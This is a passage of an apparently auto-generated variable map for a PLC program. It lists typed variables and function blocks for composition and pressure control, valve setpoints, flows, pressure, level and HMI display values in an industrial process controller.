+114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +202;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +205;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +214;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +221;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +222;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +223;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +224;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +225;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +226;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +227;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +228;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +231;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +232;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +233;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +234;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +235;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +236;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +237;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +238;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +239;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +240;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;SCALE_TO_SIGNED; +241;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;BOOL; +242;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;BOOL; +243;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;INT; +245;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;UINT; +246;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;UINT; +247;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;INT; +248;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;SCALE_TO_SIGNED; +249;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;BOOL; +251;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;UINT; +252;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;INT; +253;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;UINT; +254;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;INT; +256;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;SCALE_TO_SIGNED; +257;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;BOOL; +258;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;BOOL; +259;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;UINT; +260;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;INT; +261;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;UINT; +262;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;UINT; +263;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;INT; +264;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;SCALE_TO_SIGNED; 